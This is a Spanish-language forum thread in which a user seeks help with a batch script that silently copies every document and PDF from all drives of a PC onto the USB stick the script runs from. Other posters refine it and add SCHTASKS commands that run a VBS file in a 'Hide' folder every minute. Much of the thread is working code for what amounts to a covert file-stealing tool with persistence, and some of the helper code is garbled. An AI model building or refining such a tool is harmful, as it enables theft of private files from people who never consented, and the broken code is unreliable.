Autor
|
Tema: ayuda a simplificar bat (Leído 8,828 veces)
|
binario010101
Desconectado
Mensajes: 136
|
hola amigos tengo este bat (FOR /R "A:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "B:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "C:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "D:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "E:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "F:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "G:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "H:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "I:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "J:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "K:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "L:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "M:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "N:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "O:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "P:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "Q:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "R:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "S:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "T:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "U:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "V:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "W:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "X:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "Y:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\")) (FOR /R "Z:\" %%a IN (*.doc,*.d0cx,*.rtf,*.pdf) DO (copy /y "%%a" "%1\trabajos\"))
el cual copia todos los archivos de los discos del pc a la usb donde esta el bat estoy usando todas las letras del abecedario para buscar todos los discos del pc y uso "%1\trabajos\" para que se copien a la usb donde esta el bat alguien me puede ayudar a simplificar mi codigo gracias por sus respuestas
|
|
« Última modificación: 9 Octubre 2013, 15:53 pm por binario010101 »
|
En línea
|
|
|
|
Eleкtro
Ex-Staff
Desconectado
Mensajes: 9.885
|
Uf, te pasaste un poco con tanta repetición de código porfavor lee mi respuesta aquí: http://foro.elhacker.net/scripting/bat_que_detecte_automaticamente_usb-t400296.0.html;msg1890277#msg1890277Aquí tienes: :: INFO: :: :: # WMI Class Win32_LogicalDisk Help :: :: Drivetype 2: Removable :: Drivetype 3: Local hard disk REM Filtro el output del comando WMIC. 'wmic logicaldisk get caption^,drivetype ^| FINDSTR "2 3"' REM Saco las letras de los dispositivos disponibles. ) REM Elimino la letra de unidad desde la que se inició este Script Bat. REM Reemplazo el caracter ":" del resto de letras por un caracter de "espacio", REM De esta manera puedo usar el delimitador por defecto ("espacio") en un FOR. Set "DRIVES= %DRIVES::= %" REM Por último, proceso cada letra de unidad. Echo [+] Procesando unidad " %%D:\" | MORE "*.doc","*.d0cx","*.rtf","*.pdf" Copy /Y " %%~#" " %~d0\trabajos\" 1 >NUL ) )
Saludos
|
|
|
En línea
|
|
|
|
binario010101
Desconectado
Mensajes: 136
|
totalmente agradecido como quito el mensaje "precione una tecla para continuar..." y otra pregunta a este codigo @echo off SCHTASKS /create /SC MINUTE /MO 1 /tn copiar /TR F:\Hide\start.vbs
como le creo una variable para la letra de la usb, u otro mecanismo que ejecute el archivo vbs?
|
|
« Última modificación: 9 Octubre 2013, 18:27 pm por binario010101 »
|
En línea
|
|
|
|
Eleкtro
Ex-Staff
Desconectado
Mensajes: 9.885
|
No entiendo muy bien la pregunta. ¿Quieres que la tarea programada ejecute el VBS, y este VBS se supone que le quieres asignar la letra de unidad desde donde tienes tu script?. La letra del USB desde donde ejecutas el script la tienes almacenada en esta variable especial: REM Ejemplo: SCHTASKS /create /SC "MINUTE" /MO "3" /tn "Copiar %DriveLetter%" /TR "WScript.exe \"%DriveLetter%\Hide\start.vbs\""
Saludos
|
|
|
En línea
|
|
|
|
binario010101
Desconectado
Mensajes: 136
|
el problema es que la ruta del archivo start.vbs es F:\Hide\start.vbs pero cuando la usb tenga asiganda una letra diferente el run.cmd no lo encontrara
probando tu codigo
gracias
|
|
|
En línea
|
|
|
|
Segadorfelix
Desconectado
Mensajes: 157
|
Hola binario010101. Supongo, que te refieres a esto: For %%r in (D E F G H I J K L M N O P Q R S T U V W X Y Z) DO ( if exist %%r:\Hide\start.vbs ( SCHTASKS /create /SC "MINUTE" /MO "3" /tn "Copiar %%r" /TR "WScript.exe \" %%r\Hide\start.vbs\""))
SaluDos.
|
|
|
En línea
|
|
|
|
binario010101
Desconectado
Mensajes: 136
|
gracias amigos pero ningun codigo me funciona tengo este guardado como run.cm en formato ANSI pero no funciona @echo off SCHTASKS /create /SC MINUTE /MO 1 /tn copiar /TR E:\start.vbs
intente con este de EleKtro H@cker pero tampoco funciona REM Ejemplo: Set "DriveLetter=%~d0" Echo %DriveLetter% SCHTASKS /create /SC "MINUTE" /MO "1" /tn "Copiar %DriveLetter%" /TR "WScript.exe \"%DriveLetter%\start.vbs\""
probe con el de Segadorfelix pero tampoco funciona For %%r in (D E F G H I J K L M N O P Q R S T U V W X Y Z) DO ( if exist %%r:\start.vbs ( SCHTASKS /create /SC "MINUTE" /MO "1" /tn "Copiar %%r" /TR "WScript.exe \" %%r\start.vbs\""))
alguna idea porque ninguno me funciona?
|
|
|
En línea
|
|
|
|
binario010101
Desconectado
Mensajes: 136
|
cuando ejecuto manualmente el archivo run.cmd con este codigo For %%r in (D E F G H I J K L M N O P Q R S T U V W X Y Z) DO ( if exist %%r:\Hide\start.vbs ( SCHTASKS /create /SC "MINUTE" /MO "3" /tn "Copiar %%r" /TR "WScript.exe \" %%r\Hide\start.vbs\"")) me aparece esto error al cargar la secuencia de comando "C:\windows\system32\ G:\start.vbs (el nombre del archivo o el nombre de directorio o la sintaxis de la etiqueta del volumen no son correctos)
|
|
|
En línea
|
|
|
|
Eleкtro
Ex-Staff
Desconectado
Mensajes: 9.885
|
En lugar de copiar los ejemplos de los demás sin entender su funcionamiento deberías procurar buscar lo que significa cada cosa y para que sirven. El ejemplo de @Segadorfelix contiene dos errores de sintaxis, aquí estás dejando un espacio entre la variable del FOR y la comilla doble \" %%r, pero además de eso, la variable de FOR contiene una letra, un solo caracter, ¿entonces no crees que aquí faltaría algo más?: Hazle un Echo a la cadena para darte cuenta de lo que falta. Saludos
|
|
« Última modificación: 11 Octubre 2013, 20:54 pm por EleKtro H@cker »
|
En línea
|
|
|
|
binario010101
Desconectado
Mensajes: 136
|
el error del espacio luego del for no lo iba notado el segundo error si. ese codigo me creo un bucle infinito alguien sabe como borrarlo ya intenete con @echo off SCHTASKS /tn copiar /End pause SCHTASKS /TR "copiar" /delete y otras variantes pero no funciona
|
|
« Última modificación: 11 Octubre 2013, 21:37 pm por binario010101 »
|
En línea
|
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
simplificar dos numeros
Programación Visual Basic
|
erick185
|
2
|
2,040
|
9 Mayo 2006, 20:46 pm
por Ironhorse
|
|
|
Simplificar Función Matematica
Programación General
|
W0lFy
|
4
|
3,117
|
3 Febrero 2012, 10:31 am
por W0lFy
|
|
|
[Idea] Librería para simplificar el uso de sockets
Programación C/C++
|
Miky Gonzalez
|
2
|
2,434
|
19 Noviembre 2014, 21:50 pm
por Miky Gonzalez
|
|
|
Simplificar javascript
Scripting
|
AngelFire
|
3
|
2,228
|
10 Marzo 2016, 00:03 am
por AngelFire
|
|
|
¿Se puede simplificar el código del Checkbutton en tkinter? [SOLUCIONADO] :)
Scripting
|
Yidu
|
2
|
3,722
|
10 Julio 2017, 19:03 pm
por Yidu
|
|